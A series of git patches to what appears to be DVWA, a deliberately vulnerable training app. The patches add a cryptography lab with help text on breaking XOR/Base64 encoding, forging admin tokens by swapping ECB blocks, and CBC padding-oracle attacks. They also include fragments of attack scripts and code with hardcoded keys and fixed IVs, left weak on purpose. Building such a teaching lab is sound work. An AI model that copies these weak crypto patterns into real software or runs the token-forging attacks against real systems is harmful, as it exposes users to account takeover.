a/vulnerabilities/cryptography/source/oracle.py +++ /dev/null @@ -1,84 +0,0 @@ -# AES helper class for pycrypto -# Copyright (c) Dennis Lee -# Date 22 Mar 2017 - -# Description: -# Python helper class to perform AES encryption, decryption with CBC Mode & PKCS7 Padding - -# References: -# https://www.dlitz.net/software/pycrypto/api/2.6/ -# http://japrogbits.blogspot.my/2011/02/using-encrypted-data-between-python-and.html - -# Encoding seems to work odd in a virtual environment -# https://stackoverflow.com/questions/50302827/object-type-class-str-cannot-be-passed-to-c-code-virtual-environment - -''' -Libraries - -Package Version ------------- ------- -pip 23.0.1 -pkcs 0.1.1 -pkcs7 0.1.2 -pycryptodome 3.20.0 -setuptools 66.1.1 -''' - -import aes -from base64 import b64encode, b64decode -from Crypto.Cipher import AES -from pkcs7 import PKCS7Encoder - -encoder = PKCS7Encoder() - -def encrypt(plaintext, key, iv): - global encoder - key_length = len(key) - if (key_length >= 32): - k = key[:32] - elif (key_length >= 24): - k = key[:24] - else: - k = key[:16] - - aes = AES.new(k, AES.MODE_CBC, iv[:16]) - pad_text = encoder.encode(plaintext) - return aes.encrypt(pad_text.encode()) - -def decrypt(ciphertext, key, iv): - global encoder - key_length = len(key) - if (key_length >= 32): - k = key[:32] - elif (key_length >= 24): - k = key[:24] - else: - k = key[:16] - - aes = AES.new(k, AES.MODE_CBC, iv[:16]) - pad_text = aes.decrypt(ciphertext) - return encoder.decode(pad_text.decode()) - -def main(): - plaintext = "Hello World" - - # 32 byte key is aes-256 - key = b'your key 32bytesyour key 32bytes' - - # 16 byte key is aes-128 - key = b'your key 16bytes' - iv = b'1234567812345678' # 16 bytes initialization vector - print("Key: '%s'" % key) - print("IV: '%s'" % iv) - - encrypted = b64encode(aes.encrypt(plaintext, key, iv)) - print("Encrypted: '%s'" % encrypted) - - encrypted = "2/QiRFDoA2O2Sk/U0PHZTg==" - decrypted = aes.decrypt(b64decode(encrypted), key, iv) - print("Decrypted: '%s'" % decrypted) - - print ("done") - -if __name__ == '__main__': - main() From 5063e91e2e2dfc4dd93aa53b5a8008a77ea8fff8 Mon Sep 17 00:00:00 2001 From: Robin Wood Date: Fri, 20 Sep 2024 15:49:49 +0100 Subject: [PATCH 26/32] Improved the help file --- vulnerabilities/cryptography/help/help.php | 66 +++++++++++++++------- 1 file changed, 47 insertions(+), 19 deletions(-) diff --git a/vulnerabilities/cryptography/help/help.php b/vulnerabilities/cryptography/help/help.php index 1640f84e..4a91bb47 100644 --- a/vulnerabilities/cryptography/help/help.php +++ b/vulnerabilities/cryptography/help/help.php @@ -1,3 +1,24 @@ + + +

Help - Cryptographic Problems

@@ -21,7 +42,11 @@


Low Level

-

The first thing to notice is the mention of encoding rather than encryption, that should give you a hint about the vulnerability here.

+

The thing to notice is the mention of encoding rather than encryption, that should give you a hint about the vulnerability here.

+

+ +

+

Start by encoding a few messages and looking at the output, if you have spent any time around encoding standards you should be able to tell that it is in Base64. Could it be that simple? Try Base64 decoding some test strings to find out:

encode (hello) -> HwQPBBs=
 base64decode (HwQPBBs=) -> 0x1f 0x04 0x0f 0x04 0x1b
@@ -59,9 +84,14 @@

Another lesson here, do not assume that the messages or the underlying system you are working with is in English. The key "wachtwoord" is Dutch for password.

+

Medium Level

-

The tokens are encrypted using an Electronic Code Book based algorithm (aes-128-ecb). In this mode, the clear text is broken down into fixed sized blocks and each block is encrypted independently of the rest. This results in a cipher text block that is made up from a number of individual blocks with no way to tie them together. Worse than this, any two blocks, from any two clear text inputs, are interchangeable as long as they have been encrypted with the same key. In our example, this means you can take blocks from the three different tokens to make your own token.

+

The tokens are encrypted using an Electronic Code Book based algorithm (aes-128-ecb). In this mode, the clear text is broken down into fixed sized blocks and each block is encrypted independently of the rest. This results in a cipher text that is made up from a number of individual blocks with no way to tie them together. Worse than this, any two blocks, from any two clear text inputs, are interchangeable as long as they have been encrypted with the same key. In our example, this means you can take blocks from the three different tokens to make your own token.

+

+ +

+

How do you know the block size? This is given in the algorithm name. aes-128-ebc is a 128 bit block cipher. 128 bits is 16 bytes, but to make things human readable, the bytes are represented as hex characters meaning each byte is two characters. This gives you a block size of 32 characters. Sooty's token is 192 characters long, 192 / 32 = 6 and so Sooty's token has six code blocks.

@@ -132,31 +162,29 @@

If you want to play with this some more, there is a script called ecb_theory.php in the sources directory which shows how the tokens were generated and lets you combine them in different ways to create custom tokens.

-
Spoiler: 
-
-
-
-		
- -
+

High Level

-

The developer now believes they can disable all JavaScript by removing the pattern "<s*c*r*i*p*t".

-
Spoiler: HTML events.
+

The system is using AES-128-CBC which means it is vulnerable to a padding oracle attack.

-
+

+ +

+ +
+

Rather than try to explain this here, go read this excelent write up on the attack by Eli Sohl.

+

Cryptopals: Exploiting CBC Padding Oracles

+

Impossible Level

-

Using inbuilt PHP functions (such as ""), - its possible to escape any values which would alter the behaviour of the input.

+

You can never say impossible in crypto as something that would take years today could take minutes in the future when a new attack is found or when processing power takes a giant leam forward.

+

+ The current recommended alternative to AES-CBC is AES-GCM and so the system uses that here. 256 bit blocks rather than 128 bit blocks are used, and a unique IV used for every message. This may be secure today but who knows what tomorrow brings? +

- -
- -

Reference:

+
- From 8eaf1755e0a89299b30579f1eda3a80a916a2ab9 Mon Sep 17 00:00:00 2001 From: Robin Wood Date: Fri, 20 Sep 2024 15:59:10 +0100 Subject: [PATCH 27/32] link to sample scripts --- vulnerabilities/cryptography/help/help.php | 5 ++++- .../source/{ecb_theory.php => ecb_attack.php} | 17 ++++++++++++++++- 2 files changed, 20 insertions(+), 2 deletions(-) rename vulnerabilities/cryptography/source/{ecb_theory.php => ecb_attack.php} (88%) diff --git a/vulnerabilities/cryptography/help/help.php b/vulnerabilities/cryptography/help/help.php index 4a91bb47..8b43d4fb 100644 --- a/vulnerabilities/cryptography/help/help.php +++ b/vulnerabilities/cryptography/help/help.php @@ -160,7 +160,7 @@ function show_answer(which) { This is a very contrived setup with the tokens tweaked to force blocks to map to the JSON object so manipulation is easier to do, in the real world it is unlikely to be this easy however as data is often formed from fixed sized blocks overlaps can happen in a way that mixing blocks up results in valid data. Sometimes just being able to pass invalid data is enough so all that is needed is to swap blocks in a way that they can be decrypted and then passed on to the rest of the system where they will cause errors.

- If you want to play with this some more, there is a script called ecb_theory.php in the sources directory which shows how the tokens were generated and lets you combine them in different ways to create custom tokens. + If you want to play with this some more, there is a script called ecb_attack.php in the sources directory which shows how the tokens were generated and lets you combine them in different ways to create custom tokens.

@@ -174,6 +174,9 @@ function show_answer(which) {

Rather than try to explain this here, go read this excelent write up on the attack by Eli Sohl.

Cryptopals: Exploiting CBC Padding Oracles

+

+ If you want to play with this some more, there is a script called oracle_attack.php in the sources directory which runs through the full attack with debug. You can run this either against the DVWA site or it will run locally against its own pretend web server. +

Impossible Level

diff --git a/vulnerabilities/cryptography/source/ecb_theory.php b/vulnerabilities/cryptography/source/ecb_attack.php similarity index 88% rename from vulnerabilities/cryptography/source/ecb_theory.php rename to vulnerabilities/cryptography/source/ecb_attack.php index 40502a48..4a245b0f 100644 --- a/vulnerabilities/cryptography/source/ecb_theory.php +++ b/vulnerabilities/cryptography/source/ecb_attack.php @@ -59,7 +59,22 @@ function decrypt ($ciphertext, $key) { $c = hex2bin($p1 . $p2 . $p3 . $p4); -print "Hacked token:\n"; +print "Breaking the tokens down into blocks\n"; + +print "Block 1, Sweep's username\n"; +var_dump ($p1); + +print "Block 2, Soo's expiry time\n"; +var_dump ($p2); + +print "Block 3, Sooty's admin status\n"; +var_dump ($p3); + +print "Block 4, Finish off the block\n"; +var_dump ($p4); + +print "\n"; +print "New token:\n"; var_dump (bin2hex($c)); print "\n"; From ca1f0680f4213f6eb8db8eda530a9954c3dded16 Mon Sep 17 00:00:00 2001 From: Robin Wood Date: Fri, 20 Sep 2024 16:01:25 +0100 Subject: [PATCH 28/32] tidy --- vulnerabilities/cryptography/source/oracle_library.php | 2 -- 1 file changed, 2 deletions(-) diff --git a/vulnerabilities/cryptography/source/oracle_library.php b/vulnerabilities/cryptography/source/oracle_library.php index 8a419ee1..f7171732 100644 --- a/vulnerabilities/cryptography/source/oracle_library.php +++ b/vulnerabilities/cryptography/source/oracle_library.php @@ -3,7 +3,6 @@ define ("KEY", "rainbowclimbinghigh"); define ("IV", "1234567812345678"); - function encrypt ($plaintext, $iv) { # Default padding is PKCS#7 which is interchangable with PKCS#5 # https://en.wikipedia.org/wiki/Padding_%28cryptography%29#PKCS#5_and_PKCS#7 @@ -129,4 +128,3 @@ function check_token ($data) { } return json_encode ($ret); } - From b23e205d5e943a9c9e259f79b6e3cd5c9af5dd43 Mon Sep 17 00:00:00 2001 From: Robin Wood Date: Mon, 23 Sep 2024 10:11:25 +0100 Subject: [PATCH 29/32] tidying up high ready for impossible --- .../{check_token.php => check_token_high.php} | 5 +- .../source/check_token_impossible.php | 29 ++++++++ vulnerabilities/cryptography/source/high.php | 10 ++- .../cryptography/source/impossible.php | 72 ++++++++++++++++++- .../cryptography/source/oracle_attack.php | 50 ++++++++++--- .../{oracle_library.php => token_library.php} | 18 ++--- 6 files changed, 161 insertions(+), 23 deletions(-) rename vulnerabilities/cryptography/source/{check_token.php => check_token_high.php} (81%) create mode 100644 vulnerabilities/cryptography/source/check_token_impossible.php rename vulnerabilities/cryptography/source/{oracle_library.php => token_library.php} (88%) diff --git a/vulnerabilities/cryptography/source/check_token.php b/vulnerabilities/cryptography/source/check_token_high.php similarity index 81% rename from vulnerabilities/cryptography/source/check_token.php rename to vulnerabilities/cryptography/source/check_token_high.php index b08538f6..26bf8629 100644 --- a/vulnerabilities/cryptography/source/check_token.php +++ b/vulnerabilities/cryptography/source/check_token_high.php @@ -1,6 +1,9 @@ 527, + "message" => "Content type must be application/json" + )); + } else { + $token = $jsonData = file_get_contents('php://input'); + $ret = check_token ($token); + } +} else { + $ret = json_encode (array ( + "status" => 405, + "message" => "Method not supported" + )); +} + +print $ret; +exit; diff --git a/vulnerabilities/cryptography/source/high.php b/vulnerabilities/cryptography/source/high.php index 01633aa2..5ceaf9f5 100644 --- a/vulnerabilities/cryptography/source/high.php +++ b/vulnerabilities/cryptography/source/high.php @@ -1,16 +1,20 @@ function send_token() { - const url = 'source/check_token.php'; + const url = 'source/check_token_high.php'; const data = document.getElementById ('token').value; console.log (data); diff --git a/vulnerabilities/cryptography/source/impossible.php b/vulnerabilities/cryptography/source/impossible.php index bd7981fc..aca0afdb 100644 --- a/vulnerabilities/cryptography/source/impossible.php +++ b/vulnerabilities/cryptography/source/impossible.php @@ -1,6 +1,74 @@ + function send_token() { + + const url = 'source/check_token.php'; + const data = document.getElementById ('token').value; + + console.log (data); + + fetch(url, { + method: 'POST', + headers: { + 'Content-Type': 'application/json' + }, + body: data + }) + .then(response => { + if (!response.ok) { + throw new Error('Network response was not ok'); + } + return response.json(); + }) + .then(data => { + console.log(data); + message_line = document.getElementById ('message'); + if (data.status == 200) { + message_line.innerText = 'Welcome back ' + data.user + ' (' + data.level + ')'; + message_line.setAttribute('class', 'success'); + } else { + message_line.innerText = 'Error: ' + data.message; + message_line.setAttribute('class', 'warning'); + } + }) + .catch(error => { + console.error('There was a problem with your fetch operation:', error); + }); + + } + +

+ You have managed to steal the following token from a user of the Prognostication application. +

+

+ +

+

+ You can use the form below to provide the token to access the system. You have two challenges, first, decrypt the token to find out the secret it contains, and then create a new token to access the system as a other users. See if you can make yourself an administrator. +

+
+
+
+

+

+

+ +

+
+"; ?> diff --git a/vulnerabilities/cryptography/source/oracle_attack.php b/vulnerabilities/cryptography/source/oracle_attack.php index 91b244e9..051b6b8c 100644 --- a/vulnerabilities/cryptography/source/oracle_attack.php +++ b/vulnerabilities/cryptography/source/oracle_attack.php @@ -1,6 +1,10 @@ $token, + "iv" => $iv_string_b64 + ); + print json_encode ($new_token); + print "\n\n"; } else { print "Hack failed\n"; } @@ -270,7 +301,8 @@ function do_attack ($iv_string_b64, $token, $url) { } elseif (array_key_exists ("l", $options) || array_key_exists ("local", $options)) { print "Creating the token locally\n\n"; - $token_data = json_decode (create_token(true), true); + $iv = "1234567812345678"; + $token_data = json_decode (create_token($iv, true), true); $token = $token_data['token']; $iv = $token_data['iv']; diff --git a/vulnerabilities/cryptography/source/oracle_library.php b/vulnerabilities/cryptography/source/token_library.php similarity index 88% rename from vulnerabilities/cryptography/source/oracle_library.php rename to vulnerabilities/cryptography/source/token_library.php index f7171732..b4b1def5 100644 --- a/vulnerabilities/cryptography/source/oracle_library.php +++ b/vulnerabilities/cryptography/source/token_library.php @@ -1,7 +1,9 @@ base64_encode ($e), - "iv" => base64_encode (IV) + "iv" => base64_encode ($iv) ); return json_encode($data); } From a8ed00c3a45ef4daec10e28c15bf006a2b6825ad Mon Sep 17 00:00:00 2001 From: Robin Wood Date: Mon, 23 Sep 2024 10:59:42 +0100 Subject: [PATCH 30/32] impossible out into its own again --- .../cryptography/source/check_token_high.php | 5 +- .../source/check_token_impossible.php | 6 +- vulnerabilities/cryptography/source/high.php | 8 +- .../cryptography/source/impossible.php | 10 +- .../cryptography/source/oracle_attack.php | 9 +- ...ken_library.php => token_library_high.php} | 18 +-- .../source/token_library_impossible.php | 130 ++++++++++++++++++ 7 files changed, 148 insertions(+), 38 deletions(-) rename vulnerabilities/cryptography/source/{token_library.php => token_library_high.php} (92%) create mode 100644 vulnerabilities/cryptography/source/token_library_impossible.php diff --git a/vulnerabilities/cryptography/source/check_token_high.php b/vulnerabilities/cryptography/source/check_token_high.php index 26bf8629..1c2ce95a 100644 --- a/vulnerabilities/cryptography/source/check_token_high.php +++ b/vulnerabilities/cryptography/source/check_token_high.php @@ -1,9 +1,6 @@ diff --git a/vulnerabilities/cryptography/source/impossible.php b/vulnerabilities/cryptography/source/impossible.php index aca0afdb..12322a05 100644 --- a/vulnerabilities/cryptography/source/impossible.php +++ b/vulnerabilities/cryptography/source/impossible.php @@ -1,20 +1,16 @@ function send_token() { - const url = 'source/check_token.php'; + const url = 'source/check_token_impossible.php'; const data = document.getElementById ('token').value; console.log (data); diff --git a/vulnerabilities/cryptography/source/oracle_attack.php b/vulnerabilities/cryptography/source/oracle_attack.php index 051b6b8c..3ecb454b 100644 --- a/vulnerabilities/cryptography/source/oracle_attack.php +++ b/vulnerabilities/cryptography/source/oracle_attack.php @@ -1,10 +1,6 @@ base64_encode ($e), - "iv" => base64_encode ($iv) + "iv" => base64_encode (IV) ); return json_encode($data); } diff --git a/vulnerabilities/cryptography/source/token_library_impossible.php b/vulnerabilities/cryptography/source/token_library_impossible.php new file mode 100644 index 00000000..4f31a6a0 --- /dev/null +++ b/vulnerabilities/cryptography/source/token_library_impossible.php @@ -0,0 +1,130 @@ + base64_encode ($e), + "iv" => base64_encode ($iv), + ); + return json_encode($data); +} + +function check_token ($data) { + $users = array (); + $users[1] = array ("name" => "Geoffery", "level" => "admin"); + $users[2] = array ("name" => "Bungle", "level" => "user"); + $users[3] = array ("name" => "Zippy", "level" => "user"); + $users[4] = array ("name" => "George", "level" => "user"); + + $data_array = false; + try { + $data_array = json_decode ($data, true); + } catch (TypeError $exp) { + $ret = array ( + "status" => 521, + "message" => "Data not in JSON format", + "extra" => $exp->getMessage() + ); + } + + if (is_null ($data_array)) { + $ret = array ( + "status" => 522, + "message" => "Data in wrong format" + ); + } else { + if (!array_key_exists ("token", $data_array)) { + $ret = array ( + "status" => 523, + "message" => "Missing token" + ); + return json_encode ($ret); + } + if (!array_key_exists ("iv", $data_array)) { + $ret = array ( + "status" => 524, + "message" => "Missing IV" + ); + return json_encode ($ret); + } + + $ciphertext = base64_decode ($data_array['token']); + $iv = base64_decode ($data_array['iv']); + + # Asssume failure + $ret = array ( + "status" => 500, + "message" => "Unknown error" + ); + try { + $d = decrypt ($ciphertext, $iv); + if (preg_match ("/^userid:(\d+)$/", $d, $matches)) { + $id = $matches[1]; + if (array_key_exists ($id, $users)) { + $user = $users[$id]; + $ret = array ( + "status" => 200, + "user" => $user["name"], + "level" => $user['level'] + ); + } else { + $ret = array ( + "status" => 525, + "message" => "User not found" + ); + } + } else { + $ret = array ( + "status" => 527, + "message" => "No user specified" + ); + } + } catch (Exception $exp) { + $ret = array ( + "status" => 526, + "message" => "Unable to decrypt token", + "extra" => $exp->getMessage() + ); + } + } + return json_encode ($ret); +} From c899337dac2bbf2513d621c263e23f66d0cf9613 Mon Sep 17 00:00:00 2001 From: Robin Wood Date: Mon, 23 Sep 2024 11:07:10 +0100 Subject: [PATCH 31/32] copy update --- vulnerabilities/cryptography/source/impossible.php | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/vulnerabilities/cryptography/source/impossible.php b/vulnerabilities/cryptography/source/impossible.php index 12322a05..6e5342d1 100644 --- a/vulnerabilities/cryptography/source/impossible.php +++ b/vulnerabilities/cryptography/source/impossible.php @@ -46,13 +46,13 @@ function send_token() { }

- You have managed to steal the following token from a user of the Prognostication application. + You have managed to steal the following token from a user of the Impervious application.

- You can use the form below to provide the token to access the system. You have two challenges, first, decrypt the token to find out the secret it contains, and then create a new token to access the system as a other users. See if you can make yourself an administrator. + This being the impossible level, you should not be able to mess with the token in any useful way but feel free to try below.


From 6439b256e2a3d755f4adb89de2bbe9831775c9d6 Mon Sep 17 00:00:00 2001 From: Robin Wood Date: Mon, 23 Sep 2024 11:21:41 +0100 Subject: [PATCH 32/32] download attack scripts from help page --- vulnerabilities/cryptography/help/help.php | 4 ++-- .../cryptography/source/download_ecb_attack.php | 16 ++++++++++++++++ .../source/download_oracle_attack.php | 16 ++++++++++++++++ 3 files changed, 34 insertions(+), 2 deletions(-) create mode 100644 vulnerabilities/cryptography/source/download_ecb_attack.php create mode 100644 vulnerabilities/cryptography/source/download_oracle_attack.php diff --git a/vulnerabilities/cryptography/help/help.php b/vulnerabilities/cryptography/help/help.php index 8b43d4fb..f0784610 100644 --- a/vulnerabilities/cryptography/help/help.php +++ b/vulnerabilities/cryptography/help/help.php @@ -160,7 +160,7 @@ function show_answer(which) { This is a very contrived setup with the tokens tweaked to force blocks to map to the JSON object so manipulation is easier to do, in the real world it is unlikely to be this easy however as data is often formed from fixed sized blocks overlaps can happen in a way that mixing blocks up results in valid data. Sometimes just being able to pass invalid data is enough so all that is needed is to swap blocks in a way that they can be decrypted and then passed on to the rest of the system where they will cause errors.

- If you want to play with this some more, there is a script called ecb_attack.php in the sources directory which shows how the tokens were generated and lets you combine them in different ways to create custom tokens. + If you want to play with this some more, there is a script called ecb_attack.php in the sources directory which shows how the tokens were generated and lets you combine them in different ways to create custom tokens.

@@ -175,7 +175,7 @@ function show_answer(which) {

Rather than try to explain this here, go read this excelent write up on the attack by Eli Sohl.

Cryptopals: Exploiting CBC Padding Oracles

- If you want to play with this some more, there is a script called oracle_attack.php in the sources directory which runs through the full attack with debug. You can run this either against the DVWA site or it will run locally against its own pretend web server. + If you want to play with this some more, there is a script called oracle_attack.php in the sources directory which runs through the full attack with debug. You can run this either against the DVWA site or it will run locally against its own pretend web server.

diff --git a/vulnerabilities/cryptography/source/download_ecb_attack.php b/vulnerabilities/cryptography/source/download_ecb_attack.php new file mode 100644 index 00000000..5d28b531 --- /dev/null +++ b/vulnerabilities/cryptography/source/download_ecb_attack.php @@ -0,0 +1,16 @@ + diff --git a/vulnerabilities/cryptography/source/download_oracle_attack.php b/vulnerabilities/cryptography/source/download_oracle_attack.php new file mode 100644 index 00000000..25740da1 --- /dev/null +++ b/vulnerabilities/cryptography/source/download_oracle_attack.php @@ -0,0 +1,16 @@ +